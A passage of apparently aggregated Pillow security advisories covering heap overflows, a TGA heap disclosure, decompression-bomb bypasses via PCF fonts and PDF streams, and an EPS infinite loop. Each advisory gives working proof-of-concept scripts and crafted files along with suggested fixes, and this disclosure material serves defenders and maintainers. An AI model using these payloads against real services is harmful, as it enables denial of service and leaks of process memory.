dy0; if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) { return ImagingError_ValueError("bad box"); } ``` `ImagingCrop()` should receive the same treatment for `sx1 - sx0`, `dx0 = -sx0`, and `dx1 = imIn->xsize - sx0`. ##### Impact This is a heap out-of-bounds write in Pillow's native C extension, reachable through documented public image APIs. Applications are impacted if an untrusted user can control image operation coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay positions. The bytes written in the direct `Image.paste()` variant are copied from the source image, so attacker-controlled source pixels can influence the out-of-bounds write. For `RGBA`, the write is a backward heap underwrite whose offset and length are both `4 * source_width`, bounded in practice by successful image allocation and heap layout. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4](https://github.com/python-pillow/Pillow/security/advisories/GHSA-6r8x-57c9-28j4) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59199](https://nvd.nist.gov/vuln/detail/CVE-2026-59199) - [https://github.com/python-pillow/Pillow/pull/9703](https://github.com/python-pillow/Pillow/pull/9703) - [https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b](https://github.com/python-pillow/Pillow/commit/ceefc348eb3c3844c7f9796ef2cc3a7dd5fbba7b) - [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3451.yaml) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://github.com/python-pillow/Pillow/releases/tag/12.3.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6r8x-57c9-28j4) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow `PcfFontFile._load_bitmaps()`: `Image.frombytes()` called without `_decompression_bomb_check()` — bomb protection bypass via PCF font loading BIT-pillow-2026-54059 / [CVE-2026-54059](https://nvd.nist.gov/vuln/detail/CVE-2026-54059) / [GHSA-8v84-f9pq-wr9x](https://github.com/advisories/GHSA-8v84-f9pq-wr9x) / PYSEC-2026-2253 <details> <summary>More information</summary> #### Details ##### Description `PIL/PcfFontFile.py` `_load_bitmaps()` (line 227) reads glyph dimensions from the PCF `METRICS` section and passes them directly to `Image.frombytes()` without calling `Image._decompression_bomb_check()`. Dimensions originate from unsigned 16-bit values: ``` xsize = right - left (max: 65535 − 0 = 65535) ysize = ascent + descent (max: 65535 + 65535 = 131070) ``` Maximum exploitable pixel count: **65,535 × 131,070 = 8,589,734,450 pixels** — **48× the DecompressionBombError threshold**. **Vulnerable code (`PIL/PcfFontFile.py` line 224–227):** ```python for i in range(nbitmaps): xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled b, e = offsets[i : i + 2] bitmaps.append( Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize)) # ↑ NO _decompression_bomb_check()! ) ``` `Image.frombytes()` calls `Image.new()` first (allocating the full C-heap buffer), **then** attempts to fill it. This creates two distinct attack paths: - **Persistent attack**: Provide matching bitmap data → `frombytes()` succeeds → image stored in `font.glyph[ch]` permanently - **Transient attack**: Provide a 148-byte PCF file with large declared dimensions but no data → `Image.new()` allocates the full buffer → `ValueError` → buffer freed → but the spike occurs before Python can respond ##### Steps to reproduce **Proof of Concept script:** ```python #!/usr/bin/env python3 """PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation""" import io, struct, tracemalloc, warnings warnings.filterwarnings("ignore") from PIL.PcfFontFile import PcfFontFile from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError W, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold ##### Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: _decompression_bomb_check((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).__name__}") warnings.filterwarnings("ignore") ##### PCF binary constants PCF_MAGIC = 0x70636601 PCF_PROPS = 1 << 0 PCF_METRICS = 1 << 2 PCF_BITMAPS = 1 << 3 PCF_ENCODINGS= 1 << 5 def build_bomb_pcf(xsize, ysize): # Properties: empty props = struct.pack("<III", 0, 0, 0) # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent metrics = struct.pack("<II", 0, 1) metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0) # Bitmaps: 1 glyph, empty data (transient attack) bitmaps = struct.pack("<II", 0, 1) bitmaps += struct.pack("<I", 0) # offset[0] = 0 bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0 # Encodings: char 0x41 ('A') → glyph 0 enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62 encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF) encodings += struct.pack("<" + "H"*128, *enc_offsets) secs = [(PCF_PROPS, props), (PCF_METRICS, metrics), (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)] hdr_size = 4 + 4 + len(secs) * 16 out = struct.pack("<II", PCF_MAGIC, len(secs)) offset = hdr_size for stype, sdata in secs: out += struct.pack("<IIII", stype, 0, len(sdata), offset) offset += len(sdata) for _, sdata in secs: out += sdata return out pcf = build_bomb_pcf(W, H) print(f"[*] PCF file size : {len(pcf)} bytes") print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels") print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)") tracemalloc.start() try: font = PcfFontFile(io.BytesIO(pcf)) _, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB") except Exception as e: _, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation") print(f" Heap peak: {peak/1024**2:.2f} MB") print(f" C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception") ``` **Expected output:** ``` [Image.open() path] BLOCKED by DecompressionBombError [*] PCF file size : 148 bytes [*] Glyph size : 14000 x 14000 = 196,000,000 pixels [*] C-heap target : 23 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED (transient): ValueError after allocation C-heap allocation of ~23 MB occurred before exception ``` **Amplification table:** | PCF file | Glyph dims | C-heap (mode '1') | Bomb check | |---|---|---|---| | 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed | | 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed | | ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed | ##### Impact - **Availability**: HIGH — up to 1.07 GB per glyph, no limit per font file - **Confidentiality**: None - **Integrity**: None - Any service loading PCF fonts from untrusted sources (e.g., `PcfFontFile(fp)`) is affected - `PcfFontFile` is never loaded via `Image.open()`, so the bomb check protection is completely absent from the entire PCF font loading path - Confirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-07 #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x](https://github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x) - [https://nvd.nist.gov/vuln/detail/CVE-2026-54059](https://nvd.nist.gov/vuln/detail/CVE-2026-54059) - [https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d](https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d) - [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2253.yaml) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst](https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-8v84-f9pq-wr9x) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch BIT-pillow-2026-59205 / [CVE-2026-59205](https://nvd.nist.gov/vuln/detail/CVE-2026-59205) / [GHSA-9hw9-ch79-4vh6](https://github.com/advisories/GHSA-9hw9-ch79-4vh6) / PYSEC-2026-3453 <details> <summary>More information</summary> #### Details ##### Summary Pillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. For example, a transform built as `RGBA -> RGBA` can be applied to an `L` output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row. ##### Details `src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller supplied `imOut`: ```python def apply(self, im, imOut=None): if imOut is None: imOut = Image.new(self.output_mode, im.size, None) self.transform.apply(im.getim(), imOut.getim()) imOut.info["icc_profile"] = self.output_profile.tobytes() return imOut ``` If `imOut` is provided, Pillow does not check: ```text im.mode == self.input_mode imOut.mode == self.output_mode ``` The C wrapper in `src/_imagingcms.c` unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions: ```c static int pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) { if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) { return -1; } for (i = 0; i < im->ysize; i++) { cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize); } pyCMScopyAux(hTransform, imOut, im); return 0; } ``` `findLCMStype()` maps `RGB`, `RGBA`, and `RGBX` transform modes to LittleCMS `TYPE_RGBA_8`, which writes 4 bytes per pixel: ```c case IMAGING_MODE_RGB: case IMAGING_MODE_RGBA: case IMAGING_MODE_RGBX: return TYPE_RGBA_8; ``` So with a transform declared as `RGBA -> RGBA`, LittleCMS writes `4 * width` bytes to each output row. If the supplied output image is mode `L`, Pillow only allocated `1 * width` bytes for that row. For width 4096: ```text destination row allocation: 4096 bytes LittleCMS write size: 16384 bytes overflow: ~12288 bytes past the row ``` The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, `apply()` returned to Python and printed `after`; glibc detected the corrupted heap later during cleanup. ##### PoC Tiny heap corruption trigger: ```python from PIL import Image, ImageCms srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA") im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (8, 1), 0) print("before", flush=True) transform.apply(im, out) print("after") ``` Observed locally on Pillow `12.3.0.dev0`: ```text before after free(): invalid next size (normal) Aborted (core dumped) ``` Controlled overwrite evidence PoC: ```python from PIL import Image, ImageCms srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA") im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (4096, 1), 0) transform.apply(im, out) ``` Run under gdb: ```bash gdb -q --batch -ex run -ex bt --args \ python3 b022_controlled.py ``` Observed on Pillow `12.3.0.dev0`: ```text Program received signal SIGSEGV, Segmentation fault. ___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241) #&#8203;1 _cmsLockPrimitive (m=0x4443424144434241) #&#8203;2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241) #&#8203;3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241) #&#8203;4 cmsSaveProfileToIOhandler(...) #&#8203;5 cmsSaveProfileToMem(...) #&#8203;6 cms_profile_tobytes (...) at src/_imagingcms.c:152 ``` `0x4443424144434241` is the attacker-controlled source pixel pattern `b"ABCDABCD"` interpreted as a little-endian pointer-sized value. Using source pixels `(1, 2, 3, 4)` similarly produced a faulting pointer of `0x403020104030201`, matching the repeated pixel bytes. ##### Impact This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API. Applications are impacted if untrusted users can control ImageCms transform parameters and/or provide the output image object passed to `ImageCmsTransform.apply()`. The source image pixels influence the bytes written out of bounds. ##### Suggested fix Validate modes before calling into the native transform: ```python def apply(self, im, imOut=None): if im.mode != self.input_mode: raise ValueError("input mode mismatch") if imOut is None: imOut = Image.new(self.output_mode, im.size, None) elif imOut.mode != self.output_mode: raise ValueError("output mode mismatch") self.transform.apply(im.getim(), imOut.getim()) imOut.info["icc_profile"] = self.output_profile.tobytes() return imOut ``` The C extension should also defensively reject mismatched image modes before calling `cmsDoTransform()`. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6](https://github.com/python-pillow/Pillow/security/advisories/GHSA-9hw9-ch79-4vh6) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59205](https://nvd.nist.gov/vuln/detail/CVE-2026-59205) - [https://github.com/python-pillow/Pillow/pull/9715](https://github.com/python-pillow/Pillow/pull/9715) - [https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721](https://github.com/python-pillow/Pillow/commit/a9ffc42bedf4fc0a7ef8d6486e7f9e81e3397721) - [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3453.yaml) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://github.com/python-pillow/Pillow/releases/tag/12.3.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-9hw9-ch79-4vh6) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images BIT-pillow-2026-59198 / [CVE-2026-59198](https://nvd.nist.gov/vuln/detail/CVE-2026-59198) / [GHSA-fj7v-r99m-22gq](https://github.com/advisories/GHSA-fj7v-r99m-22gq) / PYSEC-2026-3494 <details> <summary>More information</summary> #### Details ##### Summary Pillow's TGA RLE encoder reads past its row buffer when saving a mode `"1"` image. Adjacent process heap bytes can be copied into the generated TGA file. The bug is reachable through the public save API: ```python im.save(out, format="TGA", compression="tga_rle") ``` Older affected Pillow versions use the equivalent public option `rle=True`. For mode `"1"`, Pillow allocates a packed row buffer of `ceil(width / 8)` bytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel. The maximum valid TGA width is `65535`. At that width: ```text allocated packed row buffer: 8192 bytes encoder byte-offset walk: 65535 bytes maximum OOB window per row: 57343 bytes ``` On non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized `57297` bytes from distinct out-of-bounds source offsets into one returned TGA, covering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes, private API, or malformed input file was used. The disclosure is emitted across many TGA packet payload copies of at most `128` bytes each, not one large `memcpy()`. ##### Details `src/PIL/TgaImagePlugin.py` allows mode `"1"` TGA output and selects the `tga_rle` encoder when RLE compression is requested. `src/encode.c:_setimage()` allocates the row buffer using the packed-bit formula: ```c state->bytes = (state->bits * state->xsize + 7) / 8; state->buffer = (UINT8 *)calloc(1, state->bytes); ``` For mode `"1"`, `state->bits == 1`. `src/libImaging/TgaRleEncode.c` then computes: ```c bytesPerPixel = (state->bits + 7) / 8; ``` This becomes `1`, and the encoder uses pixel indexes as byte offsets: ```c static int comparePixels(const UINT8 *buf, int x, int bytesPerPixel) { buf += x * bytesPerPixel; return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0; } ``` The packet payload `memcpy()` later copies those out-of-bounds source bytes into the output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy one representative byte: ```c memcpy( dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount ); ``` A width-2 mode `"1"` image allocates one row byte and already triggers an ASAN heap-buffer-overflow read. Wider images increase the adjacent heap window and the amount of heap data that can be serialized. ##### PoC ##### Minimal ASAN trigger ```python import io from PIL import Image out = io.BytesIO() Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle") ``` Observed on local Pillow `12.3.0.dev0` ASAN target: ```text ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1 comparePixels /out/src/src/libImaging/TgaRleEncode.c:10 ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81 0 bytes after a 1-byte allocation from _setimage ``` ##### Maximum-width heap disclosure This PoC uses one maximum-width row. It parses the generated TGA packets and extracts only payload bytes whose source offsets were outside the allocated packed row. Rows are avoided because they mostly repeat the same adjacent heap window. Run the following with a standard affected Pillow installation. ```python import hashlib import io import PIL from PIL import Image WIDTH = 65535 ATTEMPTS = 20 ROW_BYTES = (WIDTH + 7) // 8 MAX_OOB_WINDOW = WIDTH - ROW_BYTES def extract_oob_payload(data): i = 18 pixel = 0 oob = bytearray() while pixel < WIDTH: descriptor = data[i] i += 1 count = (descriptor & 0x7F) + 1 if descriptor & 0x80: value = data[i] i += 1 if pixel + count - 1 >= ROW_BYTES: oob.append(value) else: values = data[i : i + count] i += count oob.extend(values[max(ROW_BYTES - pixel, 0) :]) pixel += count return bytes(oob) best = b"" for _ in range(ATTEMPTS): out = io.BytesIO() Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle") oob = extract_oob_payload(out.getvalue()) if len(oob) > len(best): best = oob with open("/tmp/max_oob_bytes.bin", "wb") as fp: fp.write(best) print(f"Pillow={PIL.__version__}") print(f"packed_row_bytes={ROW_BYTES}") print(f"maximum_oob_window={MAX_OOB_WINDOW}") print(f"serialized_distinct_oob_offsets={len(best)}") print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}") print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}") print(f"sha256={hashlib.sha256(best).hexdigest()}") ``` Observed on installed Pillow `12.2.0`: ```text Pillow=12.2.0 packed_row_bytes=8192 maximum_oob_window=57343 serialized_distinct_oob_offsets=57297 nonzero_oob_bytes=54407 coverage=99.92% ``` ##### Impact This is a heap out-of-bounds read and potential information disclosure. A maximum-width single-row image can cause nearly the full `57343`-byte adjacent heap window to be incorporated into one output file. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-fj7v-r99m-22gq](https://github.com/python-pillow/Pillow/security/advisories/GHSA-fj7v-r99m-22gq) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59198](https://nvd.nist.gov/vuln/detail/CVE-2026-59198) - [https://github.com/python-pillow/Pillow/pull/9709](https://github.com/python-pillow/Pillow/pull/9709) - [https://github.com/python-pillow/Pillow/commit/eada3cbd7fb9963ee90673fb7b5270124a0d5f4b](https://github.com/python-pillow/Pillow/commit/eada3cbd7fb9963ee90673fb7b5270124a0d5f4b) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://github.com/python-pillow/Pillow/releases/tag/12.3.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fj7v-r99m-22gq) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode() BIT-pillow-2026-59200 / [CVE-2026-59200](https://nvd.nist.gov/vuln/detail/CVE-2026-59200) / [GHSA-jjj6-mw9f-p565](https://github.com/advisories/GHSA-jjj6-mw9f-p565) / PYSEC-2026-3495 <details> <summary>More information</summary> #### Details ##### Summary `PdfParser.PdfStream.decode()` in Pillow's `PdfParser.py` calls `zlib.decompress()` with the `bufsize` parameter set to the value of the PDF stream's `Length` field, without any upper bound on the actual decompressed output size. Python's `zlib.decompress()` `bufsize` argument is an *initial output buffer hint*, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses `PdfParser` to read untrusted PDF files. ##### Details `PdfStream.decode()` in `pdfminer/PdfParser.py` reads the stream's declared `Length` (or `DL`) field from the PDF dictionary and passes it as `bufsize` to `zlib.decompress()`: ```python ##### PIL/PdfParser.py — PdfStream.decode() class PdfStream: def decode(self) -> bytes: try: filter = self.dictionary[b"Filter"] except KeyError: return self.buf if filter == b"FlateDecode": try: expected_length = self.dictionary[b"DL"] except KeyError: expected_length = self.dictionary[b"Length"] return zlib.decompress(self.buf, bufsize=int(expected_length)) # ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ # bufsize is an *initial buffer hint*, NOT a maximum size limit. # zlib.decompress() allocates as much memory as needed regardless. ``` From the Python documentation: *"The `bufsize` parameter is used as the initial size of the output buffer."* It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting `Length` to any value (including the actual compressed size) to avoid triggering format validation. `PdfParser` is instantiated with a filename or file object and calls `read_pdf_info()` on open, which parses the xref table and makes stream objects accessible. `PdfStream.decode()` is reachable whenever calling code accesses a compressed stream object from the parsed PDF. **Confirmed reachable path:** ```python with PdfParser.PdfParser("evil.pdf") as pdf: stream_obj, _ = pdf.get_value(pdf.buf, stream_offset) data = stream_obj.decode() # ← OOM here ``` ##### PoC ```python import zlib, tempfile, os, time from PIL import PdfParser ##### Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale) EXPAND_MB = 100 raw = b'\x00' * (EXPAND_MB * 1_000_000) compressed = zlib.compress(raw, level=9) # ~97 KB buf = b'%PDF-1.4\n' o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n' o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n' o3 = len(buf) hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode() buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n' xref = len(buf) buf += b'xref\n0 4\n0000000000 65535 f \n' for off in [o1, o2, o3]: buf += f'{off:010d} 00000 n \n'.encode() buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n' print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)") with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f: f.write(buf); tmpname = f.name with PdfParser.PdfParser(tmpname) as pdf: obj, _ = pdf.get_value(pdf.buf, o3) t = time.time() decoded = obj.decode() print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s") os.unlink(tmpname) ``` **Actual output (Pillow 12.1.1, Python 3.12):** ``` PDF size: 97,538 bytes (95.3 KB) Decoded: 100,000,000 bytes in 0.265s ``` **Measured expansion:** | PDF file size | Memory allocated | Ratio | Wall time | |---|---|---|---| | 10 KB | 10 MB | 1,026× | 0.024 s | | 95 KB | 100 MB | 1,028× | 0.265 s | | 475 KB | 500 MB | 1,028× | 1.279 s | | 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s | ##### Impact This is a denial-of-service vulnerability. Any application that uses `PIL.PdfParser.PdfParser` to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required. **Note:** This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion `PIL/PdfImagePlugin.py` decompression issue. It exists specifically in Pillow's own `PdfParser.py` module, which is distinct from pdfminer.six. **Suggested fix:** ```python MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024 # 200 MB cap def decode(self) -> bytes: ... if filter == b"FlateDecode": ... result = zlib.decompress(self.buf, bufsize=int(expected_length)) if len(result) > MAX_DECOMPRESS_BYTES: msg = "Decompressed stream exceeds maximum allowed size" raise ValueError(msg) return result ``` #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-jjj6-mw9f-p565](https://github.com/python-pillow/Pillow/security/advisories/GHSA-jjj6-mw9f-p565) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59200](https://nvd.nist.gov/vuln/detail/CVE-2026-59200) - [https://github.com/python-pillow/Pillow/pull/9718](https://github.com/python-pillow/Pillow/pull/9718) - [https://github.com/python-pillow/Pillow/commit/f7a31ea75e460e108c37126da1f47812f21f6b09](https://github.com/python-pillow/Pillow/commit/f7a31ea75e460e108c37126da1f47812f21f6b09) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/12.3.0](https://github.com/python-pillow/Pillow/releases/tag/12.3.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jjj6-mw9f-p565) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service BIT-pillow-2026-59203 / [CVE-2026-59203](https://nvd.nist.gov/vuln/detail/CVE-2026-59203) / [GHSA-pg7v-jwj7-p798](https://github.com/advisories/GHSA-pg7v-jwj7-p798) / PYSEC-2026-3452 <details> <summary>More information</summary> #### Details ##### Summary Pillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service. The issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution. Confirmed affected versions: Pillow 12.0.0 through 12.2.0. ##### Details The issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative. Relevant code: elif bytes_mv[:14] == b"%%BeginBinary:": bytecount = int(byte_arr[14:bytes_read]) self.fp.seek(bytecount, os.SEEK_CUR) There is no validation that bytecount is non-negative. If an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU. In local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path. ##### PoC Save the following content as pillow_eps_beginbinary_dos.eps: %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 1 1 %%EndComments % dummy comment after transition %%BeginBinary:-18 %%EOF Then run: python -m pip install "Pillow==12.2.0" python - <<'PY' from PIL import Image Image.open("pillow_eps_beginbinary_dos.eps") PY Expected behavior: Pillow should reject the malformed EPS file with a parser exception. Actual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU. The loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again: LINE b'%%BeginBinary:-18' pos_after_newline 112 BeginBinary bytecount -18 seek from 112 to 94 LINE b'%%BeginBinary:-18' pos_after_newline 112 BeginBinary bytecount -18 seek from 112 to 94 LINE b'%%BeginBinary:-18' pos_after_newline 112 BeginBinary bytecount -18 seek from 112 to 94 ##### Impact This is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open(). This can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected. Suggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR). #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-pg7v-jwj7-p798](https://github.com/python-pillow/Pillow/security/advisories/GHSA-pg7v-jwj7-p798) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59203](https://nvd.nist.gov/vuln/detail/CVE-2026-59203) - [https://github.com/python-pillow/Pillow/pull/9708](https://github.com/python-pillow/Pillow/pull/9708) - [https://github.com/python-pillow/Pillow/commit/03992618118b4a76b6163cd72ab5ecd684133b83](https://github.com/python-pillow/Pillow/commit/03992618118b4a76b6163cd72ab5ecd684133b83) - [https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3452.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-3452.yaml) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - 